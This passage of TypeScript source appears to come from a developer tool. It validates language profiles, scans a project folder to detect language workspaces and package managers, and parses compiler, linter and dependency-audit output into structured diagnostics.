}\n if (this.#profiles.has(profile.id)) {\n throw new Error(`Language profile \"${profile.id}\" is already registered`);\n }\n this.#profiles.set(profile.id, freezeProfile(profile));\n }\n\n get(id: LanguageProfileId): LanguageProfile | undefined {\n return this.#profiles.get(id);\n }\n\n list(): readonly LanguageProfile[] {\n return Object.freeze([...this.#profiles.values()]);\n }\n}\n\nexport function validateLanguageProfile(profile: LanguageProfile): string[] {\n const errors: string[] = [];\n if (!PROFILE_ID_RE.test(profile.id)) errors.push('id must be a lowercase stable identifier');\n if (!profile.displayName.trim()) errors.push('displayName is required');\n if (profile.extensions.length === 0) errors.push('at least one extension is required');\n for (const ext of profile.extensions) {\n if (!/^\\.[a-z0-9+.-]+$/i.test(ext)) errors.push(`invalid extension \"${ext}\"`);\n }\n if (profile.detectors.length === 0) errors.push('at least one detector is required');\n for (const detector of profile.detectors) {\n if ((detector.filename ? 1 : 0) + (detector.suffix ? 1 : 0) !== 1) {\n errors.push('each detector must declare exactly one of filename or suffix');\n }\n if (!Number.isFinite(detector.weight) || detector.weight <= 0 || detector.weight > 100) {\n errors.push('detector weights must be in the range 1..100');\n }\n const marker = detector.filename ?? detector.suffix ?? '';\n if (marker.includes('/') || marker.includes('\\\\') || marker.includes('\\0')) {\n errors.push(`detector marker \"${marker}\" must be a basename or suffix`);\n }\n }\n if (profile.executables.length === 0) errors.push('at least one executable is required');\n for (const executable of profile.executables) {\n if (!EXECUTABLE_RE.test(executable)) errors.push(`invalid executable token \"${executable}\"`);\n }\n for (const operation of Object.keys(profile.operations)) {\n if (!KNOWN_OPERATIONS.has(operation as LanguageOperation)) {\n errors.push(`unknown operation \"${operation}\"`);\n }\n if (typeof profile.operations[operation as LanguageOperation] !== 'function') {\n errors.push(`operation \"${operation}\" must be a resolver function`);\n }\n }\n return [...new Set(errors)];\n}\n\nfunction freezeProfile(profile: LanguageProfile): LanguageProfile {\n const detectors = Object.freeze(profile.detectors.map((item) => Object.freeze({ ...item })));\n const operations = Object.freeze({ ...profile.operations });\n return Object.freeze({\n ...profile,\n extensions: Object.freeze([...profile.extensions]),\n lspLanguageIds: Object.freeze([...profile.lspLanguageIds]),\n detectors,\n ignoredDirectories: Object.freeze([...profile.ignoredDirectories]),\n packageManagers: Object.freeze([...profile.packageManagers]),\n executables: Object.freeze([...profile.executables]),\n operations,\n });\n}\n\nexport const languageProfileRegistry = new LanguageProfileRegistry([\n ...PRIMARY_LANGUAGE_PROFILES,\n ...ADDITIONAL_LANGUAGE_PROFILES,\n]);\n", "import { createHash } from 'node:crypto';\nimport * as fs from 'node:fs/promises';\nimport * as path from 'node:path';\nimport { languageProfileRegistry } from './registry.js';\nimport type {\n DetectedWorkspace,\n DetectionLimits,\n DetectionResult,\n DetectLanguageOptions,\n LanguageEvidence,\n LanguageProfile,\n} from './types.js';\n\nconst DEFAULT_LIMITS: DetectionLimits = { maxDepth: 6, maxEntries: 5_000 };\nconst SOURCE_WEIGHT = 5;\nconst SOURCE_WEIGHT_CAP = 25;\nconst TARGET_WEIGHT = 100;\n\nconst GLOBAL_IGNORES = new Set([\n '.git',\n '.wrongstack',\n 'node_modules',\n 'vendor',\n 'target',\n 'bin',\n 'obj',\n 'dist',\n 'build',\n 'out',\n 'coverage',\n '.cache',\n '.idea',\n '.vscode',\n '.next',\n '.nuxt',\n]);\n\ninterface CandidateState {\n profile: LanguageProfile;\n root: string;\n evidence: LanguageEvidence[];\n manifests: string[];\n}\n\ninterface ScanState {\n entries: number;\n truncated: boolean;\n sourcePaths: Map<string, string[]>;\n candidates: Map<string, CandidateState>;\n}\n\nexport async function detectLanguageWorkspaces(\n options: DetectLanguageOptions,\n): Promise<DetectionResult> {\n const projectRoot = await canonicalDirectory(options.projectRoot);\n const cwdInput = options.cwd\n ? path.isAbsolute(options.cwd)\n ? options.cwd\n : path.resolve(projectRoot, options.cwd)\n : projectRoot;\n const cwd = await canonicalInside(cwdInput, projectRoot, 'cwd');\n const target = options.target\n ? await canonicalInside(resolveFrom(cwd, options.target), projectRoot, 'target')\n : undefined;\n const profiles = (options.profiles ?? languageProfileRegistry.list())\n .filter((profile) => !options.language || profile.id === options.language)\n .slice()\n .sort((a, b) => a.id.localeCompare(b.id));\n const limits = normalizeLimits(options.limits);\n const extraIgnores = new Set(options.ignoredDirectories ?? []);\n const state: ScanState = {\n entries: 0,\n truncated: false,\n sourcePaths: new Map(),\n candidates: new Map(),\n };\n\n await scanDirectory(projectRoot, 0, profiles, limits, state, extraIgnores, options.signal);\n addSourceFallbacks(projectRoot, profiles, state);\n if (target) addTargetEvidence(target, projectRoot, profiles, state);\n\n const workspaces = await Promise.all(\n [...state.candidates.values()].map((candidate) => finalizeCandidate(candidate, projectRoot)),\n );\n workspaces.sort(compareWorkspaces);\n return {\n projectRoot,\n scannedEntries: state.entries,\n truncated: state.truncated,\n workspaces,\n };\n}\n\nasync function scanDirectory(\n directory: string,\n depth: number,\n profiles: readonly LanguageProfile[],\n limits: DetectionLimits,\n state: ScanState,\n extraIgnores: ReadonlySet<string>,\n signal?: AbortSignal,\n): Promise<void> {\n signal?.throwIfAborted();\n if (depth > limits.maxDepth || state.entries >= limits.maxEntries) {\n state.truncated = true;\n return;\n }\n let entries: import('node:fs').Dirent[];\n try {\n entries = await fs.readdir(directory, { withFileTypes: true });\n } catch {\n return;\n }\n entries.sort((a, b) => a.name.localeCompare(b.name));\n for (const entry of entries) {\n signal?.throwIfAborted();\n if (state.entries >= limits.maxEntries) {\n state.truncated = true;\n return;\n }\n state.entries++;\n const fullPath = path.join(directory, entry.name);\n if (entry.isSymbolicLink()) continue;\n if (entry.isDirectory()) {\n if (shouldIgnoreDirectory(entry.name, profiles, extraIgnores)) continue;\n if (depth >= limits.maxDepth) {\n state.truncated = true;\n continue;\n }\n await scanDirectory(fullPath, depth + 1, profiles, limits, state, extraIgnores, signal);\n continue;\n }\n if (!entry.isFile()) continue;\n collectFileEvidence(directory, fullPath, entry.name, profiles, state);\n }\n}\n\nfunction collectFileEvidence(\n directory: string,\n fullPath: string,\n basename: string,\n profiles: readonly LanguageProfile[],\n state: ScanState,\n): void {\n const lower = basename.toLowerCase();\n const extension = path.extname(lower);\n for (const profile of profiles) {\n const detector = profile.detectors.find((rule) =>\n rule.filename\n ? lower === rule.filename.toLowerCase()\n : lower.endsWith(rule.suffix!.toLowerCase()),\n );\n if (detector) {\n const candidate = getCandidate(state, profile, directory);\n candidate.evidence.push({\n kind: detector.kind,\n path: fullPath,\n value: basename,\n weight: detector.weight,\n });\n if (detector.kind === 'manifest' || detector.kind === 'config') {\n candidate.manifests.push(fullPath);\n }\n }\n if (profile.extensions.includes(extension)) {\n const paths = state.sourcePaths.get(profile.id) ?? [];\n if (paths.length < SOURCE_WEIGHT_CAP / SOURCE_WEIGHT) paths.push(fullPath);\n state.sourcePaths.set(profile.id, paths);\n }\n }\n}\n\nfunction addSourceFallbacks(\n projectRoot: string,\n profiles: readonly LanguageProfile[],\n state: ScanState,\n): void {\n for (const profile of profiles) {\n const sources = state.sourcePaths.get(profile.id) ?? [];\n if (sources.length === 0) continue;\n const profileCandidates = [...state.candidates.values()].filter(\n (item) => item.profile.id === profile.id,\n );\n for (const source of sources) {\n const containing = profileCandidates\n .filter((candidate) => isInside(source, candidate.root))\n .sort(\n (a, b) =>\n pathDepth(b.root, projectRoot) - pathDepth(a.root, projectRoot) ||\n a.root.localeCompare(b.root),\n );\n const candidate =\n containing[0] ??\n (profile.sourceFallback === false ? undefined : getCandidate(state, profile, projectRoot));\n if (!candidate) continue;\n candidate.evidence.push({\n kind: 'source',\n path: source,\n value: path.extname(source),\n weight: SOURCE_WEIGHT,\n });\n }\n }\n}\n\nfunction addTargetEvidence(\n target: string,\n projectRoot: string,\n profiles: readonly LanguageProfile[],\n state: ScanState,\n): void {\n const extension = path.extname(target).toLowerCase();\n for (const profile of profiles) {\n if (!profile.extensions.includes(extension)) continue;\n const candidates = [...state.candidates.values()].filter(\n (candidate) => candidate.profile.id === profile.id && isInside(target, candidate.root),\n );\n const candidate =\n candidates.length > 0\n ? candidates.sort(\n (a, b) =>\n pathDepth(b.root, projectRoot) - pathDepth(a.root, projectRoot) ||\n a.root.localeCompare(b.root),\n )[0]!\n : profile.sourceFallback === false\n ? undefined\n : getCandidate(state, profile, path.dirname(target));\n if (!candidate) continue;\n candidate.evidence.push({\n kind: 'target',\n path: target,\n value: extension,\n weight: TARGET_WEIGHT,\n });\n }\n}\n\nasync function finalizeCandidate(\n candidate: CandidateState,\n projectRoot: string,\n): Promise<DetectedWorkspace> {\n const evidence = dedupeEvidence(candidate.evidence).sort(compareEvidence);\n const manifests = [...new Set(candidate.manifests)].sort();\n const confidence = Math.min(1, evidence.reduce((sum, item) => sum + item.weight, 0) / 100);\n const packageManager = await detectPackageManager(candidate.profile, candidate.root, evidence);\n const id = createHash('sha256')\n .update(`${candidate.profile.id}\\0${path.relative(projectRoot, candidate.root)}`)\n .digest('hex')\n .slice(0, 16);\n return Object.freeze({\n id,\n language: candidate.profile.id,\n root: candidate.root,\n confidence,\n evidence: Object.freeze(evidence.map((item) => Object.freeze(item))),\n ...(packageManager ? { packageManager } : {}),\n manifests: Object.freeze(manifests),\n capabilities: Object.freeze(\n Object.keys(candidate.profile.operations).sort() as DetectedWorkspace['capabilities'],\n ),\n });\n}\n\nasync function detectPackageManager(\n profile: LanguageProfile,\n root: string,\n evidence: readonly LanguageEvidence[],\n): Promise<string | undefined> {\n if (profile.packageManagers.length === 1) return profile.packageManagers[0];\n if (profile.id !== 'typescript' && profile.id !== 'javascript') return undefined;\n\n let declared: string | undefined;\n try {\n const pkg = JSON.parse(await fs.readFile(path.join(root, 'package.json'), 'utf8')) as {\n packageManager?: unknown;\n };\n if (typeof pkg.packageManager === 'string') {\n const manager = pkg.packageManager.split('@')[0];\n if (manager && profile.packageManagers.includes(manager)) declared = manager;\n }\n } catch {\n // Missing or malformed package.json is evidence failure, not detector failure.\n }\n const lockManagers = new Set<string>();\n for (const item of evidence) {\n const name = path.basename(item.path).toLowerCase();\n if (name === 'pnpm-lock.yaml') lockManagers.add('pnpm');\n else if (name === 'yarn.lock') lockManagers.add('yarn');\n else if (name === 'bun.lock' || name === 'bun.lockb') lockManagers.add('bun');\n else if (name === 'package-lock.json') lockManagers.add('npm');\n }\n if (\n declared &&\n (lockManagers.size === 0 || (lockManagers.size === 1 && lockManagers.has(declared)))\n ) {\n return declared;\n }\n if (lockManagers.size === 1) return [...lockManagers][0];\n if (lockManagers.size > 1) return undefined;\n return declared ?? 'npm';\n}\n\nfunction getCandidate(state: ScanState, profile: LanguageProfile, root: string): CandidateState {\n const key = `${profile.id}\\0${root}`;\n let candidate = state.candidates.get(key);\n if (!candidate) {\n candidate = { profile, root, evidence: [], manifests: [] };\n state.candidates.set(key, candidate);\n }\n return candidate;\n}\n\nfunction shouldIgnoreDirectory(\n name: string,\n profiles: readonly LanguageProfile[],\n extraIgnores: ReadonlySet<string>,\n): boolean {\n if (GLOBAL_IGNORES.has(name) || extraIgnores.has(name) || name.startsWith('.')) return true;\n return profiles.some((profile) => profile.ignoredDirectories.includes(name));\n}\n\nfunction normalizeLimits(input: DetectLanguageOptions['limits']): DetectionLimits {\n const maxDepth = Math.max(\n 0,\n Math.min(12, Math.trunc(input?.maxDepth ?? DEFAULT_LIMITS.maxDepth)),\n );\n const maxEntries = Math.max(\n 1,\n Math.min(50_000, Math.trunc(input?.maxEntries ?? DEFAULT_LIMITS.maxEntries)),\n );\n return { maxDepth, maxEntries };\n}\n\nasync function canonicalDirectory(input: string): Promise<string> {\n const resolved = path.resolve(input);\n const real = await fs.realpath(resolved);\n const stat = await fs.stat(real);\n if (!stat.isDirectory()) throw new Error(`Project root is not a directory: ${input}`);\n return real;\n}\n\nasync function canonicalInside(input: string, root: string, label: string): Promise<string> {\n const resolved = path.resolve(input);\n let real: string;\n try {\n real = await fs.realpath(resolved);\n } catch (error) {\n if ((error as NodeJS.ErrnoException).code !== 'ENOENT') throw error;\n const parent = await fs.realpath(path.dirname(resolved));\n real = path.join(parent, path.basename(resolved));\n }\n if (!isInside(real, root)) throw new Error(`${label} is outside project root: ${input}`);\n return real;\n}\n\nfunction resolveFrom(cwd: string, input: string): string {\n return path.isAbsolute(input) ? input : path.resolve(cwd, input);\n}\n\nfunction isInside(candidate: string, root: string): boolean {\n const relative = path.relative(root, candidate);\n return relative === '' || (!relative.startsWith('..') && !path.isAbsolute(relative));\n}\n\nfunction pathDepth(candidate: string, root: string): number {\n const relative = path.relative(root, candidate);\n return relative === '' ? 0 : relative.split(path.sep).length;\n}\n\nfunction dedupeEvidence(items: readonly LanguageEvidence[]): LanguageEvidence[] {\n const seen = new Set<string>();\n return items.filter((item) => {\n const key = `${item.kind}\\0${item.path}\\0${item.value}\\0${item.weight}`;\n if (seen.has(key)) return false;\n seen.add(key);\n return true;\n });\n}\n\nfunction compareEvidence(a: LanguageEvidence, b: LanguageEvidence): number {\n return a.path.localeCompare(b.path) || a.kind.localeCompare(b.kind) || b.weight - a.weight;\n}\n\nfunction compareWorkspaces(a: DetectedWorkspace, b: DetectedWorkspace): number {\n return (\n b.confidence - a.confidence ||\n a.language.localeCompare(b.language) ||\n a.root.localeCompare(b.root) ||\n a.id.localeCompare(b.id)\n );\n}\n", "import * as path from 'node:path';\nimport type {\n LanguageDiagnostic,\n LanguagePackageMutation,\n LanguagePackageVulnerability,\n LanguageProfileId,\n LanguageRunSummary,\n} from './types.js';\n\nconst MAX_DIAGNOSTICS = 200;\n\nexport interface ParsedDiagnostics {\n diagnostics: readonly LanguageDiagnostic[];\n omitted: number;\n summary: LanguageRunSummary;\n}\n\nexport function parseLanguageDiagnostics(\n parser: string,\n stdout: string,\n stderr: string,\n workspaceRoot: string,\n): ParsedDiagnostics {\n const text = `${stdout}${stdout && stderr ? '\\n' : ''}${stderr}`;\n let diagnostics: LanguageDiagnostic[];\n switch (parser) {\n case 'typescript':\n diagnostics = parseTypeScript(text, workspaceRoot);\n break;\n case 'cargo-json':\n diagnostics = parseCargoJson(text, workspaceRoot);\n break;\n case 'php-lint':\n diagnostics = parsePhpLint(text, workspaceRoot);\n break;\n case 'dotnet-build':\n case 'dotnet-format':\n case 'dotnet-test':\n diagnostics = parseDotnet(text, workspaceRoot);\n break;\n case 'go-test':\n case 'go-compiler':\n case 'gofmt':\n diagnostics = parseGo(text, workspaceRoot);\n break;\n case 'biome':\n diagnostics = parseBiome(text, workspaceRoot);\n break;\n default:\n diagnostics = parseGeneric(text, parser, workspaceRoot);\n break;\n }\n const sorted = dedupeDiagnostics(diagnostics).sort(compareDiagnostics);\n const omitted = Math.max(0, sorted.length - MAX_DIAGNOSTICS);\n const kept = Object.freeze(sorted.slice(0, MAX_DIAGNOSTICS).map((item) => Object.freeze(item)));\n return {\n diagnostics: kept,\n omitted,\n summary: summarize(kept),\n };\n}\n\nexport function diagnosticsForInternalSyntax(\n language: LanguageProfileId,\n target: string,\n sourceText: string,\n): Promise<ParsedDiagnostics> {\n if (language !== 'typescript' && language !== 'javascript') {\n return Promise.resolve({ diagnostics: [], omitted: 0, summary: emptySummary() });\n }\n return import('@typescript/typescript6').then((tsModule) => {\n const ts = ((tsModule as unknown as { default?: typeof tsModule }).default ??\n tsModule) as typeof tsModule;\n const extension = path.extname(target).toLowerCase();\n const scriptKind =\n extension === '.tsx'\n ? ts.ScriptKind.TSX\n : extension === '.ts' || extension === '.mts' || extension === '.cts'\n ? ts.ScriptKind.TS\n : ts.ScriptKind.JSX;\n const sourceFile = ts.createSourceFile(\n path.basename(target),\n sourceText,\n ts.ScriptTarget.Latest,\n false,\n scriptKind,\n );\n const native =\n (sourceFile as unknown as {\n parseDiagnostics?: import('@typescript/typescript6').Diagnostic[];\n })\n .parseDiagnostics ?? [];\n const diagnostics = native.map<LanguageDiagnostic>((diagnostic) => {\n const start = diagnostic.start ?? 0;\n const location = sourceFile.getLineAndCharacterOfPosition(start);\n return {\n severity: diagnostic.category === ts.DiagnosticCategory.Warning ? 'warning' : 'error',\n ...(diagnostic.code ? { code: `TS${diagnostic.code}` } : {}),\n message: ts.flattenDiagnosticMessageText(diagnostic.messageText, ' '),\n file: target,\n range: { start: { line: location.line + 1, column: location.character + 1 } },\n source: 'typescript-parser',\n };\n });\n const sorted = dedupeDiagnostics(diagnostics).sort(compareDiagnostics);\n const omitted = Math.max(0, sorted.length - MAX_DIAGNOSTICS);\n const kept = Object.freeze(sorted.slice(0, MAX_DIAGNOSTICS).map((item) => Object.freeze(item)));\n return { diagnostics: kept, omitted, summary: summarize(kept) };\n });\n}\n\nfunction parseTypeScript(text: string, root: string): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n const regex = /^(.+?)\\((\\d+),(\\d+)\\):\\s+(error|warning)\\s+(TS\\d+):\\s*(.+)$/gm;\n for (const match of text.matchAll(regex)) {\n diagnostics.push({\n severity: match[4] === 'warning' ? 'warning' : 'error',\n code: match[5],\n message: match[6]!.trim(),\n file: normalizeDiagnosticPath(match[1]!, root),\n range: { start: { line: toPositiveInt(match[2]), column: toPositiveInt(match[3]) } },\n source: 'typescript',\n });\n }\n return diagnostics;\n}\n\nfunction parseCargoJson(text: string, root: string): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n for (const line of text.split(/\\r?\\n/)) {\n if (!line.trim().startsWith('{')) continue;\n try {\n const value = JSON.parse(line) as {\n reason?: string;\n message?: {\n level?: string;\n code?: { code?: string };\n message?: string;\n spans?: Array<{\n file_name?: string;\n line_start?: number;\n column_start?: number;\n is_primary?: boolean;\n }>;\n };\n };\n if (value.reason !== 'compiler-message' || !value.message?.message) continue;\n const primary =\n value.message.spans?.find((span) => span.is_primary) ?? value.message.spans?.[0];\n diagnostics.push({\n severity: normalizeSeverity(value.message.level),\n ...(value.message.code?.code ? { code: value.message.code.code } : {}),\n message: value.message.message,\n ...(primary?.file_name ? { file: normalizeDiagnosticPath(primary.file_name, root) } : {}),\n ...(primary?.line_start\n ? { range: { start: { line: primary.line_start, column: primary.column_start ?? 1 } } }\n : {}),\n source: 'rustc',\n });\n } catch {\n // Non-JSON build output is retained as raw output, not fabricated into diagnostics.\n }\n }\n return diagnostics;\n}\n\nfunction parseGo(text: string, root: string): LanguageDiagnostic[] {\n return parseLinePattern(\n text,\n /^(.*?\\.go):(\\d+):(\\d+):\\s*(.+)$/gm,\n root,\n 'go',\n (_match, message) => ({ message, severity: /warning/i.test(message) ? 'warning' : 'error' }),\n );\n}\n\nfunction parsePhpLint(text: string, root: string): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n const regex = /(?:PHP\\s+)?(?:Parse|Fatal) error:\\s*(.+?)\\s+in\\s+(.+?)\\s+on line\\s+(\\d+)/gi;\n for (const match of text.matchAll(regex)) {\n diagnostics.push({\n severity: 'error',\n message: match[1]!.trim(),\n file: normalizeDiagnosticPath(match[2]!, root),\n range: { start: { line: toPositiveInt(match[3]), column: 1 } },\n source: 'php',\n });\n }\n return diagnostics;\n}\n\nfunction parseDotnet(text: string, root: string): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n const regex = /^(.+?)\\((\\d+),(\\d+)\\):\\s*(error|warning)\\s+([A-Z]+\\d+):\\s*(.+?)(?:\\s+\\[.+\\])?$/gm;\n for (const match of text.matchAll(regex)) {\n diagnostics.push({\n severity: match[4] === 'warning' ? 'warning' : 'error',\n code: match[5],\n message: match[6]!.trim(),\n file: normalizeDiagnosticPath(match[1]!, root),\n range: { start: { line: toPositiveInt(match[2]), column: toPositiveInt(match[3]) } },\n source: 'dotnet',\n });\n }\n return diagnostics;\n}\n\nfunction parseBiome(text: string, root: string): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n const regex = /^(.+?):(\\d+):(\\d+)\\s+(lint\\/[^\\s]+|format)\\s+(.+)$/gm;\n for (const match of text.matchAll(regex)) {\n diagnostics.push({\n severity: 'warning',\n code: match[4],\n message: match[5]!.trim(),\n file: normalizeDiagnosticPath(match[1]!, root),\n range: { start: { line: toPositiveInt(match[2]), column: toPositiveInt(match[3]) } },\n source: 'biome',\n });\n }\n return diagnostics;\n}\n\nfunction parseGeneric(text: string, source: string, root: string): LanguageDiagnostic[] {\n return parseLinePattern(\n text,\n /^(.+?):(\\d+):(\\d+):\\s*(?:(error|warning|info):\\s*)?(.+)$/gm,\n root,\n source,\n (match, fallback) => ({\n severity: normalizeSeverity(match[4]),\n message: match[5]?.trim() || fallback,\n }),\n );\n}\n\nexport interface ParsedPackageReports {\n diagnostics: readonly LanguageDiagnostic[];\n vulnerabilities: readonly LanguagePackageVulnerability[];\n outdated: readonly LanguagePackageMutation[];\n}\n\nexport function parsePackageReports(\n parser: string,\n stdout: string,\n stderr: string,\n): ParsedPackageReports {\n const text = `${stdout}${stdout && stderr ? '\\n' : ''}${stderr}`;\n switch (parser) {\n case 'npm-audit':\n return parseNpmAudit(text);\n case 'npm-outdated':\n return parseNpmOutdated(text);\n case 'cargo-audit':\n return parseCargoAudit(text);\n case 'composer-audit':\n return parseComposerAudit(text);\n case 'composer-outdated':\n return parseComposerOutdated(text);\n case 'dotnet-package':\n return parseDotnetPackage(text);\n default:\n return { diagnostics: [], vulnerabilities: [], outdated: [] };\n }\n}\n\nfunction parseNpmAudit(text: string): ParsedPackageReports {\n const advisories: LanguagePackageVulnerability[] = [];\n const diagnostics: LanguageDiagnostic[] = [];\n let root: unknown;\n try {\n root = JSON.parse(text);\n } catch {\n return { diagnostics, vulnerabilities: advisories, outdated: [] };\n }\n const vulnerabilities =\n (root as { vulnerabilities?: Record<string, unknown> })?.vulnerabilities ?? {};\n const advisoriesRecord =\n (root as { advisories?: Record<string, unknown> })?.advisories ?? vulnerabilities;\n for (const [id, value] of Object.entries(advisoriesRecord)) {\n const advisory = value as {\n module_name?: string;\n package_name?: string;\n name?: string;\n title?: string;\n severity?: string;\n url?: string;\n range?: string;\n patched_versions?: string;\n };\n const name = advisory.module_name ?? advisory.package_name ?? advisory.name ?? id;\n advisories.push({\n package: name,\n ...(advisory.title ? { advisory: advisory.title } : { advisory: id }),\n severity: mapSeverity(advisory.severity),\n ...(advisory.patched_versions ? { fixedIn: advisory.patched_versions } : {}),\n ...(advisory.url ? { url: advisory.url } : {}),\n });\n diagnostics.push({\n severity:\n mapSeverity(advisory.severity) === 'critical' || mapSeverity(advisory.severity) === 'high'\n ? 'error'\n : 'warning',\n code: id,\n message: advisory.title ?? `Vulnerability reported for ${name}.`,\n source: 'npm-audit',\n });\n }\n return { diagnostics, vulnerabilities: advisories, outdated: [] };\n}\n\nfunction parseNpmOutdated(text: string): ParsedPackageReports {\n const diagnostics: LanguageDiagnostic[] = [];\n const outdated: LanguagePackageMutation[] = [];\n let payload: Record<string, unknown> = {};\n try {\n payload = JSON.parse(text);\n } catch {\n return { diagnostics, vulnerabilities: [], outdated };\n }\n for (const [name, info] of Object.entries(payload)) {\n const entry = info as {\n current?: string;\n latest?: string;\n wanted?: string;\n type?: string;\n location?: string;\n };\n if (!entry.latest || entry.latest === entry.current) continue;\n outdated.push({\n name,\n previous: entry.current,\n resolved: entry.latest,\n kind: mapOutdatedKind(entry.type),\n });\n diagnostics.push({\n severity: 'info',\n code: 'outdated',\n message: `${name}: ${entry.current ?? '?'} \u2192 ${entry.latest}`,\n source: 'npm-outdated',\n });\n }\n return { diagnostics, vulnerabilities: [], outdated };\n}\n\nfunction parseCargoAudit(text: string): ParsedPackageReports {\n const diagnostics: LanguageDiagnostic[] = [];\n const vulnerabilities: LanguagePackageVulnerability[] = [];\n let root: unknown;\n try {\n root = JSON.parse(text);\n } catch {\n return { diagnostics, vulnerabilities, outdated: [] };\n }\n const findings = (root as { vulnerabilities?: { found?: unknown } }).vulnerabilities?.found;\n if (!Array.isArray(findings)) return { diagnostics, vulnerabilities, outdated: [] };\n for (const finding of findings) {\n const item = finding as {\n id?: string;\n package?: string;\n title?: string;\n severity?: string;\n patched_versions?: string[];\n url?: { long?: string; short?: string };\n advisory?: { id?: string };\n };\n const name = item.package ?? 'unknown';\n const advisory = item.id ?? item.advisory?.id ?? 'cargo-audit';\n vulnerabilities.push({\n package: name,\n ...(item.title ? { advisory: item.title } : { advisory }),\n severity: mapSeverity(item.severity),\n ...(item.patched_versions && item.patched_versions.length > 0\n ? { fixedIn: item.patched_versions[0] }\n : {}),\n ...(item.url?.short ? { url: item.url.short } : {}),\n });\n diagnostics.push({\n severity:\n mapSeverity(item.severity) === 'critical' || mapSeverity(item.severity) === 'high'\n ? 'error'\n : 'warning',\n code: advisory,\n message: item.title ?? `${name} reported by cargo-audit.`,\n source: 'cargo-audit',\n });\n }\n return { diagnostics, vulnerabilities, outdated: [] };\n}\n\nfunction parseComposerAudit(text: string): ParsedPackageReports {\n const diagnostics: LanguageDiagnostic[] = [];\n const vulnerabilities: LanguagePackageVulnerability[] = [];\n const lines = text.split(/\\r?\\n/);\n for (const line of lines) {\n if (!line.trim().startsWith('{')) continue;\n try {\n const entry = JSON.parse(line) as {\n package?: string;\n advisory?: string;\n title?: string;\n severity?: string;\n affectedVersions?: string;\n url?: string;\n };\n if (!entry.package) continue;\n vulnerabilities.push({\n package: entry.package,\n ...(entry.advisory ? { advisory: entry.advisory } : {}),\n ...(entry.title\n ? { advisory: entry.title }\n : { advisory: entry.advisory ?? 'composer-audit' }),\n severity: mapSeverity(entry.severity),\n ...(entry.affectedVersions ? { fixedIn: entry.affectedVersions } : {}),\n ...(entry.url ? { url: entry.url } : {}),\n });\n diagnostics.push({\n severity: 'warning',\n code: entry.advisory ?? 'composer-audit',\n message: entry.title ?? `${entry.package} reported by composer audit.`,\n source: 'composer-audit',\n });\n } catch {\n // Ignore malformed composer audit lines; raw output is preserved.\n }\n }\n return { diagnostics, vulnerabilities, outdated: [] };\n}\n\nfunction parseComposerOutdated(text: string): ParsedPackageReports {\n const diagnostics: LanguageDiagnostic[] = [];\n const outdated: LanguagePackageMutation[] = [];\n const lines = text.split(/\\r?\\n/);\n for (const line of lines) {\n if (!line.trim().startsWith('{')) continue;\n try {\n const entry = JSON.parse(line) as {\n name?: string;\n version?: string;\n latest?: string;\n description?: string;\n };\n if (!entry.name || entry.version === entry.latest) continue;\n outdated.push({\n name: entry.name,\n previous: entry.version,\n resolved: entry.latest ?? entry.version,\n });\n diagnostics.push({\n severity: 'info',\n code: 'outdated',\n message: `${entry.name}: ${entry.version ?? '?'} \u2192 ${entry.latest ?? '?'}`,\n source: 'composer-outdated',\n });\n } catch {\n // Skip malformed line; the raw output remains available.\n }\n }\n return { diagnostics, vulnerabilities: [], outdated };\n}\n\nfunction parseDotnetPackage(text: string): ParsedPackageReports {\n const diagnostics: LanguageDiagnostic[] = [];\n const vulnerabilities: LanguagePackageVulnerability[] = [];\n const outdated: LanguagePackageMutation[] = [];\n let root: unknown;\n try {\n root = JSON.parse(text);\n } catch {\n return { diagnostics, vulnerabilities, outdated };\n }\n const projects = (root as { projects?: Array<{ frameworks?: unknown; packages?: unknown }> })\n .projects;\n if (!Array.isArray(projects)) return { diagnostics, vulnerabilities, outdated };\n for (const project of projects) {\n const packages = Array.isArray(project.packages) ? project.packages : [];\n for (const pkg of packages as Array<Record<string, unknown>>) {\n const name = typeof pkg.name === 'string' ? pkg.name : 'unknown';\n const requested = typeof pkg.requestedVersion === 'string' ? pkg.requestedVersion : undefined;\n const resolved = typeof pkg.resolvedVersion === 'string' ? pkg.resolvedVersion : undefined;\n const vulnerabilitiesRaw = Array.isArray(pkg.vulnerabilities) ? pkg.vulnerabilities : [];\n for (const vuln of vulnerabilitiesRaw as Array<Record<string, unknown>>) {\n const advisory =\n typeof vuln.advisoryUrl === 'string' ? vuln.advisoryUrl : 'dotnet-vulnerable';\n vulnerabilities.push({\n package: name,\n advisory,\n severity: mapSeverity(typeof vuln.severity === 'string' ? vuln.severity : undefined),\n });\n }\n if (vulnerabilitiesRaw.length > 0) {\n diagnostics.push({\n severity: 'warning',\n code: 'dotnet-vulnerable',\n message: `${name} has ${vulnerabilitiesRaw.length} known vulnerability entry/entries.`,\n source: 'dotnet-package',\n });\n }\n if (\n requested &&\n resolved &&\n requested.startsWith('>') &&\n requested.split('>')[1]!.split('.').slice(0, 2).join('.') !==\n resolved.split('.').slice(0, 2).join('.')\n ) {\n outdated.push({ name, requested, resolved });\n diagnostics.push({\n severity: 'info',\n code: 'outdated',\n message: `${name}: ${requested} \u2192 ${resolved}`,\n source: 'dotnet-package',\n });\n }\n }\n }\n return { diagnostics, vulnerabilities, outdated };\n}\n\nfunction mapSeverity(value: string | undefined): LanguagePackageVulnerability['severity'] {\n switch (value?.toLowerCase()) {\n case 'critical':\n case 'high':\n return 'high';\n case 'medium':\n case 'moderate':\n return 'moderate';\n case 'low':\n return 'low';\n case 'unknown':\n return 'unknown';\n default:\n return 'unknown';\n }\n}\n\nfunction mapOutdatedKind(value: string | undefined): 'runtime' | 'development' | 'optional' {\n switch (value?.toLowerCase()) {\n case 'devdependencies':\n case 'development':\n return 'development';\n case 'optionaldependencies':\n case 'optional':\n return 'optional';\n default:\n return 'runtime';\n }\n}\n\nfunction parseLinePattern(\n text: string,\n regex: RegExp,\n root: string,\n source: string,\n details: (\n match: RegExpMatchArray,\n fallback: string,\n ) => { severity: LanguageDiagnostic['severity']; message: string },\n): LanguageDiagnostic[] {\n const diagnostics: LanguageDiagnostic[] = [];\n for (const match of text.matchAll(regex)) {\n const parsed = details(match, match.at(-1)?.trim() ?? 'Diagnostic');\n diagnostics.push({\n severity: parsed.severity,\n message: parsed.message,\n file: normalizeDiagnosticPath(match[1]!, root),\n range: { start: { line: toPositiveInt(match[2]), column: toPositiveInt(match[3]) } },\n 